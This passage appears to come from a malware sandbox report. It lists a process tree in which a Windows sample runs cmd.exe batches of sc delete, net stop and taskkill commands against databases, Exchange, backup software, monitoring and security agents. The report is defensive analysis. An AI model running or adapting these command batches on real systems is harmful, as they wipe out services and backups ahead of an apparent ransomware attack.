        sc delete "SyncBASE Service"
        5⤵
        
        PID:6092
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete OracleDBConcoleorcl
        5⤵
        Launches sc.exe
        
        PID:5156
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete OracleJobSchedulerORCL
        5⤵
        Launches sc.exe
        
        PID:2896
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete OracleMTSRecoveryService
        5⤵
        Launches sc.exe
        
        PID:6564
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c "color b & @sc delete OracleOraDb11g_home1ClrAgent & @sc delete OracleOraDb11g_home1TNSListener & @sc delete OracleVssWriterORCL & @sc delete OracleServiceORCL & @sc delete aspnet_state @sc delete Redis & @sc delete OracleVssWriterORCL & @sc delete JhTask & @sc delete ImeDictUpdateService & @sc delete XT800Service_Personal & @sc delete MCService & @sc delete ImeDictUpdateService & @sc delete allpass_redisservice_port21160 & @sc delete "Flash Helper Service" & @sc delete "Kiwi Syslog Server" & @sc delete "UWS HiPriv Services" & net stop MSSQL$FE_EXPRESS"
      4⤵
      PID:5008
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete OracleOraDb11g_home1ClrAgent
        5⤵
        
        PID:2908
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete OracleOraDb11g_home1TNSListener
        5⤵
        Launches sc.exe
        
        PID:5348
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete OracleVssWriterORCL
        5⤵
        
        PID:780
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete OracleServiceORCL
        5⤵
        
        PID:5220
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete aspnet_state @sc delete Redis
        5⤵
        
        PID:5528
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete OracleVssWriterORCL
        5⤵
        
        PID:5788
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete JhTask
        5⤵
        
        PID:5976
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete ImeDictUpdateService
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:428
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete XT800Service_Personal
        5⤵
        
        PID:5584
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete MCService
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4484
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete ImeDictUpdateService
        5⤵
        Launches sc.exe
        
        PID:5236
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete allpass_redisservice_port21160
        5⤵
        
        PID:3612
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete "Flash Helper Service"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5564
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete "Kiwi Syslog Server"
        5⤵
        
        PID:5724
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete "UWS HiPriv Services"
        5⤵
        
        PID:4384
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSSQL$FE_EXPRESS
        5⤵
        
        PID:4484
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSSQL$FE_EXPRESS
        6⤵
        
        PID:2920
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c "color b & @sc delete "UWS LoPriv Services" & @sc delete ftnlsv3 & @sc delete ftnlses3 & @sc delete FxService & @sc delete "UtilDev Web Server Pro" & @sc delete ftusbrdwks & @sc delete ftusbrdsrv & @sc delete "ZTE USBIP Client Guard" & @sc delete "ZTE USBIP Client" & @sc delete "ZTE FileTranS" & @sc delete wwbizsrv & @sc delete qemu-ga & @sc delete AlibabaProtect & @sc delete ZTEVdservice & @sc delete kbasesrv & @sc delete MMRHookService & @sc delete OracleJobSchedulerORCL & @sc delete IpOverUsbSvc & @sc delete MsDtsServer100 & @sc delete KuaiYunTools & @sc delete KMSELDI & @sc delete btPanel & @sc delete Protect_2345Explorer & @sc delete 2345PicSvc & @sc delete vmware-converter-agent & @sc delete vmware-converter-server & @sc delete vmware-converter-worker & @sc delete QQCertificateService & @sc delete OracleRemExecService & @sc delete GPSDaemon & @sc delete GPSUserSvr & @sc delete GPSDownSvr & @sc delete GPSStorageSvr & @sc delete GPSDataProcSvr & @sc delete GPSGatewaySvr & @sc delete GPSMediaSvr & @sc delete GPSLoginSvr & @sc delete GPSTomcat6 & @sc delete GPSMysqld & @sc delete GPSFtpd & @sc delete "Zabbix Agent" & @sc delete BackupExecAgentAccelerator & @sc delete bedbg & @sc delete BackupExecDeviceMediaService & @sc delete BackupExecRPCService & @sc delete BackupExecAgentBrowser & @sc delete BackupExecJobEngine & @sc delete BackupExecManagementService & @sc delete MDM & @sc delete TxQBService & @sc delete Gailun_Downloader & @sc delete RemoteAssistService & @sc delete YunService & @sc delete Serv-U & @sc delete "EasyFZS Server" & @sc delete "Rpc Monitor" & @sc delete OpenFastAssist & @sc delete "Nuo Update Monitor" & @sc delete "Daemon Service" & @sc delete asComSvc & @sc delete OfficeUpdateService & @sc delete RtcSrv & @sc delete RTCASMCU & @sc delete FTA & @sc delete MASTER & @sc delete NscAuthService & @sc delete MSCRMUnzipService & @sc delete MSCRMAsyncService$maintenance"
      4⤵
      PID:3388
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete "UWS LoPriv Services"
        5⤵
        Launches sc.exe
        
        PID:5712
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete ftnlsv3
        5⤵
        
        PID:4596
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete ftnlses3
        5⤵
        
        PID:2940
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete FxService
        5⤵
        
        PID:5692
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete "UtilDev Web Server Pro"
        5⤵
        
        PID:6092
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete ftusbrdwks
        5⤵
        
        PID:2788
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete ftusbrdsrv
        5⤵
        
        PID:5320
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete "ZTE USBIP Client Guard"
        5⤵
        Launches sc.exe
        
        PID:5336
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete "ZTE USBIP Client"
        5⤵
        
        PID:5732
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete "ZTE FileTranS"
        5⤵
        Launches sc.exe
        
        PID:2012
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete wwbizsrv
        5⤵
        
        PID:5564
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete qemu-ga
        5⤵
        
        PID:4404
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete AlibabaProtect
        5⤵
        Launches sc.exe
        
        PID:2324
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete ZTEVdservice
        5⤵
        
        PID:3880
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete kbasesrv
        5⤵
        
        PID:5232
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete MMRHookService
        5⤵
        
        PID:9112
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete OracleJobSchedulerORCL
        5⤵
        
        PID:6120
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete IpOverUsbSvc
        5⤵
        
        PID:5648
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete MsDtsServer100
        5⤵
        Launches sc.exe
        
        PID:5412
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete KuaiYunTools
        5⤵
        
        PID:8592
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete KMSELDI
        5⤵
        Launches sc.exe
        
        PID:9132
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete btPanel
        5⤵
        
        PID:9028
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete Protect_2345Explorer
        5⤵
        Launches sc.exe
        
        PID:6496
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete 2345PicSvc
        5⤵
        
        PID:8044
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete vmware-converter-agent
        5⤵
        
        PID:6296
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete vmware-converter-server
        5⤵
        
        PID:8200
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete vmware-converter-worker
        5⤵
        
        PID:8100
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete QQCertificateService
        5⤵
        
        PID:7580
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete OracleRemExecService
        5⤵
        
        PID:8632
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete GPSDaemon
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:7464
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete GPSUserSvr
        5⤵
        
        PID:8584
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete GPSDownSvr
        5⤵
        
        PID:2236
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete GPSStorageSvr
        5⤵
        
        PID:8580
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete GPSDataProcSvr
        5⤵
        
        PID:2524
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete GPSGatewaySvr
        5⤵
        
        PID:4584
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete GPSMediaSvr
        5⤵
        
        PID:8812
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete GPSLoginSvr
        5⤵
        
        PID:7888
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete GPSTomcat6
        5⤵
        
        PID:7080
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete GPSMysqld
        5⤵
        
        PID:8892
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete GPSFtpd
        5⤵
        
        PID:7244
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete "Zabbix Agent"
        5⤵
        
        PID:7260
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete BackupExecAgentAccelerator
        5⤵
        Launches sc.exe
        
        PID:6292
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete bedbg
        5⤵
        Launches sc.exe
        
        PID:8576
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete BackupExecDeviceMediaService
        5⤵
        
        PID:5612
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete BackupExecRPCService
        5⤵
        
        PID:6800
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete BackupExecAgentBrowser
        5⤵
        
        PID:8368
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete BackupExecJobEngine
        5⤵
        
        PID:4616
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete BackupExecManagementService
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:6300
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete MDM
        5⤵
        
        PID:8632
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete TxQBService
        5⤵
        
        PID:7176
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete Gailun_Downloader
        5⤵
        
        PID:2856
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete RemoteAssistService
        5⤵
        Launches sc.exe
        
        PID:7236
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete YunService
        5⤵
        
        PID:3652
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete Serv-U
        5⤵
        
        PID:8528
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete "EasyFZS Server"
        5⤵
        
        PID:7116
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete "Rpc Monitor"
        5⤵
        
        PID:7864
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete OpenFastAssist
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5800
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete "Nuo Update Monitor"
        5⤵
        
        PID:1112
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete "Daemon Service"
        5⤵
        
        PID:8420
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete asComSvc
        5⤵
        
        PID:7828
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete OfficeUpdateService
        5⤵
        
        PID:8308
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete RtcSrv
        5⤵
        
        PID:8948
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete RTCASMCU
        5⤵
        
        PID:6208
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete FTA
        5⤵
        Launches sc.exe
        
        PID:7840
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete MASTER
        5⤵
        
        PID:5396
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete NscAuthService
        5⤵
        
        PID:6792
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete MSCRMUnzipService
        5⤵
        
        PID:6536
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete MSCRMAsyncService$maintenance
        5⤵
        
        PID:7588
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c "@color b & sc delete MSCRMAsyncService & @sc delete REPLICA & @sc delete RTCATS & @sc delete RTCAVMCU & @sc delete RtcQms & @sc delete RTCMEETINGMCU & @sc delete RTCIMMCU & @sc delete RTCDATAMCU & @sc delete RTCCDR & @sc delete ProjectEventService16 & @sc delete ProjectQueueService16 & @sc delete SPAdminV4 & @sc delete SPSearchHostController & @sc delete SPTimerV4 & @sc delete SPTraceV4 & @sc delete OSearch16 & @sc delete ProjectCalcService16 & @sc delete c2wts & @sc delete AppFabricCachingService & @sc delete ADWS & @sc delete MotionBoard57 & @sc delete MotionBoardRCService57 & @sc delete vsvnjobsvc & @sc delete VisualSVNServer & @sc delete "FlexNet Licensing Service 64" & @sc delete BestSyncSvc & @sc delete LPManager & @sc delete MediatekRegistryWriter & @sc delete RaAutoInstSrv_RT2870 & @sc delete CobianBackup10 & @sc delete SQLANYs_sem5 & @sc delete CASLicenceServer & @sc delete SQLService & @sc delete semwebsrv & @sc delete TbossSystem & @sc delete ErpEnvSvc & @sc delete Mysoft.Autoupgrade.DispatchService & @sc delete Mysoft.Autoupgrade.UpdateService & @sc delete Mysoft.Config.WindowsService & @sc delete Mysoft.DataCenterService & @sc delete Mysoft.SchedulingService & @sc delete Mysoft.Setup.InstallService & @sc delete MysoftUpdate & @sc delete edr_monitor & @sc delete abs_deployer & @sc delete savsvc & @sc delete ShareBoxMonitorService & @sc delete ShareBoxService & @sc delete CloudExchangeService & @sc delete "U8WorkerService2" & @sc delete CIS & @sc delete EASService & @sc delete KICkSvr & @sc delete "OSP Service" & @sc delete U8SmsSrv & @sc delete OfficeClearCache & @sc delete TurboCRM70 & @sc delete U8DispatchService & @sc delete U8EISService & @sc delete U8EncryptService & @sc delete U8GCService & @sc delete U8KeyManagePool & @sc delete "U8MPool" & @sc delete U8SCMPool & @sc delete U8SLReportService & @sc delete U8TaskService & @sc delete "U8WebPool" & @sc delete UFAllNet & @sc delete UFReportService & @sc delete UTUService & @sc delete "U8WorkerService1""
      4⤵
      PID:4396
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete MSCRMAsyncService
        5⤵
        
        PID:5600
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete REPLICA
        5⤵
        Launches sc.exe
        
        PID:4388
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete RTCATS
        5⤵
        
        PID:1936
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete RTCAVMCU
        5⤵
        
        PID:5424
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete RtcQms
        5⤵
        Launches sc.exe
        
        PID:5872
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete RTCMEETINGMCU
        5⤵
        Launches sc.exe
        
        PID:5720
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete RTCIMMCU
        5⤵
        
        PID:2580
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete RTCDATAMCU
        5⤵
        
        PID:5792
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete RTCCDR
        5⤵
        
        PID:632
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete ProjectEventService16
        5⤵
        Launches sc.exe
        
        PID:5180
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete ProjectQueueService16
        5⤵
        Launches sc.exe
        
        PID:5096
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete SPAdminV4
        5⤵
        Launches sc.exe
        
        PID:6080
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete SPSearchHostController
        5⤵
        
        PID:6080
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete SPTimerV4
        5⤵
        
        PID:4688
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete SPTraceV4
        5⤵
        
        PID:3768
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete OSearch16
        5⤵
        
        PID:4976
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete ProjectCalcService16
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:9096
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete c2wts
        5⤵
        Launches sc.exe
        
        PID:8724
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete AppFabricCachingService
        5⤵
        Launches sc.exe
        
        PID:5548
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete ADWS
        5⤵
        
        PID:5760
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete MotionBoard57
        5⤵
        
        PID:7552
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete MotionBoardRCService57
        5⤵
        
        PID:7968
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete vsvnjobsvc
        5⤵
        
        PID:3716
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete VisualSVNServer
        5⤵
        
        PID:632
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete "FlexNet Licensing Service 64"
        5⤵
        Launches sc.exe
        
        PID:8068
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete BestSyncSvc
        5⤵
        
        PID:6164
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete LPManager
        5⤵
        Launches sc.exe
        
        PID:2600
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete MediatekRegistryWriter
        5⤵
        Launches sc.exe
        
        PID:5912
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete RaAutoInstSrv_RT2870
        5⤵
        
        PID:6464
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete CobianBackup10
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:6768
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete SQLANYs_sem5
        5⤵
        
        PID:5128
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete CASLicenceServer
        5⤵
        
        PID:1716
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete SQLService
        5⤵
        
        PID:6340
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete semwebsrv
        5⤵
        
        PID:548
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete TbossSystem
        5⤵
        
        PID:5700
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete ErpEnvSvc
        5⤵
        Launches sc.exe
        
        PID:9204
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete Mysoft.Autoupgrade.DispatchService
        5⤵
        
        PID:7876
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete Mysoft.Autoupgrade.UpdateService
        5⤵
        Launches sc.exe
        
        PID:6112
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete Mysoft.Config.WindowsService
        5⤵
        
        PID:6324
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete Mysoft.DataCenterService
        5⤵
        
        PID:7644
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete Mysoft.SchedulingService
        5⤵
        
        PID:3464
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete Mysoft.Setup.InstallService
        5⤵
        
        PID:8988
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete MysoftUpdate
        5⤵
        
        PID:5712
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete edr_monitor
        5⤵
        
        PID:3392
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete abs_deployer
        5⤵
        
        PID:3880
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete savsvc
        5⤵
        
        PID:7764
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete ShareBoxMonitorService
        5⤵
        
        PID:6568
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete ShareBoxService
        5⤵
        
        PID:8648
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete CloudExchangeService
        5⤵
        Launches sc.exe
        
        PID:7712
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete "U8WorkerService2"
        5⤵
        
        PID:6288
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete CIS
        5⤵
        Launches sc.exe
        
        PID:6828
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete EASService
        5⤵
        
        PID:5220
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete KICkSvr
        5⤵
        
        PID:3468
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete "OSP Service"
        5⤵
        
        PID:7144
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete U8SmsSrv
        5⤵
        Launches sc.exe
        
        PID:6916
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete OfficeClearCache
        5⤵
        Launches sc.exe
        
        PID:6280
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete TurboCRM70
        5⤵
        
        PID:6876
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete U8DispatchService
        5⤵
        Launches sc.exe
        
        PID:1204
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete U8EISService
        5⤵
        
        PID:8404
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete U8EncryptService
        5⤵
        Launches sc.exe
        
        PID:2788
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete U8GCService
        5⤵
        
        PID:5708
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete U8KeyManagePool
        5⤵
        
        PID:6168
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete "U8MPool"
        5⤵
        
        PID:1408
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete U8SCMPool
        5⤵
        
        PID:6872
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete U8SLReportService
        5⤵
        
        PID:7932
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete U8TaskService
        5⤵
        
        PID:7816
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete "U8WebPool"
        5⤵
        
        PID:8884
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete UFAllNet
        5⤵
        Launches sc.exe
        
        PID:6008
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete UFReportService
        5⤵
        
        PID:9084
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete UTUService
        5⤵
        Launches sc.exe
        
        PID:4596
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete "U8WorkerService1"
        5⤵
        
        PID:5020
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c "color b & @taskkill /IM ReportingServicesService.exe /F & @sc delete "SQL Server Reporting Services" & @sc delete MSSQLFDLauncher & @taskkill /IM U8CEServer.exe /F & @taskkill /IM ServerNT.exe /F & @net stop UFNet & @taskkill /IM MessageNotification.exe /F & @taskkill /IM cbVSCService11.exe /F & @taskkill /IM cbService.exe /F & @sc delete cbVSCService11 & @sc delete CobianBackup11"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4700
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM ReportingServicesService.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5876
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete "SQL Server Reporting Services"
        5⤵
        
        PID:3300
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete MSSQLFDLauncher
        5⤵
        
        PID:5584
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM U8CEServer.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5916
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM ServerNT.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5412
    - - C:\Windows\SysWOW64\net.exe
        
        net stop UFNet
        5⤵
        
        PID:1936
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UFNet
        6⤵
        
        PID:1128
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM MessageNotification.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5956
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM cbVSCService11.exe /F
        5⤵
        
        PID:4628
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM cbService.exe /F
        5⤵
        Kills process with taskkill
        
        PID:892
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete cbVSCService11
        5⤵
        
        PID:5884
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete CobianBackup11
        5⤵
        
        PID:8356
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c "color a & @net stop U8WorkerService1 & @net stop U8WorkerService2 & @net stop "memcached Server" & @net stop Apache2.4 & @net stop UFIDAWebService & @net stop MSComplianceAudit & @net stop MSExchangeADTopology & @net stop MSExchangeAntispamUpdate & @net stop MSExchangeCompliance & @net stop MSExchangeDagMgmt & @net stop MSExchangeDelivery & @net stop MSExchangeDiagnostics & @net stop MSExchangeEdgeSync & @net stop MSExchangeFastSearch & @net stop MSExchangeFrontEndTransport & @net stop MSExchangeHM & @net stop MSSQL$SQL2008 & @net stop MSExchangeHMRecovery & @net stop MSExchangeImap4 & @net stop MSExchangeIMAP4BE & @net stop MSExchangeIS & @net stop MSExchangeMailboxAssistants & @net stop MSExchangeMailboxReplication & @net stop MSExchangeNotificationsBroker & @net stop MSExchangePop3 & @net stop MSExchangePOP3BE & @net stop MSExchangeRepl & @net stop MSExchangeRPC & @net stop MSExchangeServiceHost & @net stop MSExchangeSubmission & @net stop MSExchangeThrottling & @net stop MSExchangeTransport & @net stop MSExchangeTransportLogSearch & @net stop MSExchangeUM & @net stop MSExchangeUMCR & @net stop MySQL5_OA"
      4⤵
      PID:4708
    - - C:\Windows\SysWOW64\net.exe
        
        net stop U8WorkerService1
        5⤵
        
        PID:5648
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop U8WorkerService1
        6⤵
        
        PID:6084
    - - C:\Windows\SysWOW64\net.exe
        
        net stop U8WorkerService2
        5⤵
        
        PID:5324
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop U8WorkerService2
        6⤵
        
        PID:2712
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "memcached Server"
        5⤵
        
        PID:4320
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "memcached Server"
        6⤵
        
        PID:5396
    - - C:\Windows\SysWOW64\net.exe
        
        net stop Apache2.4
        5⤵
        
        PID:5668
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop Apache2.4
        6⤵
        
        PID:5592
    - - C:\Windows\SysWOW64\net.exe
        
        net stop UFIDAWebService
        5⤵
        
        PID:4596
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UFIDAWebService
        6⤵
        
        PID:5184
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSComplianceAudit
        5⤵
        
        PID:5168
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSComplianceAudit
        6⤵
        
        PID:2884
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSExchangeADTopology
        5⤵
        
        PID:5492
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeADTopology
        6⤵
        
        PID:6012
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSExchangeAntispamUpdate
        5⤵
        
        PID:5688
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeAntispamUpdate
        6⤵
        
        PID:5308
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSExchangeCompliance
        5⤵
        
        PID:7948
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeCompliance
        6⤵
        
        PID:7788
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSExchangeDagMgmt
        5⤵
        
        PID:7992
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeDagMgmt
        6⤵
        
        PID:6556
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSExchangeDelivery
        5⤵
        
        PID:6092
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeDelivery
        6⤵
        
        PID:5972
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSExchangeDiagnostics
        5⤵
        
        PID:4596
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeDiagnostics
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:7772
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSExchangeEdgeSync
        5⤵
        
        PID:6236
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeEdgeSync
        6⤵
        
        PID:7208
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSExchangeFastSearch
        5⤵
        
        PID:5544
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeFastSearch
        6⤵
        
        PID:9140
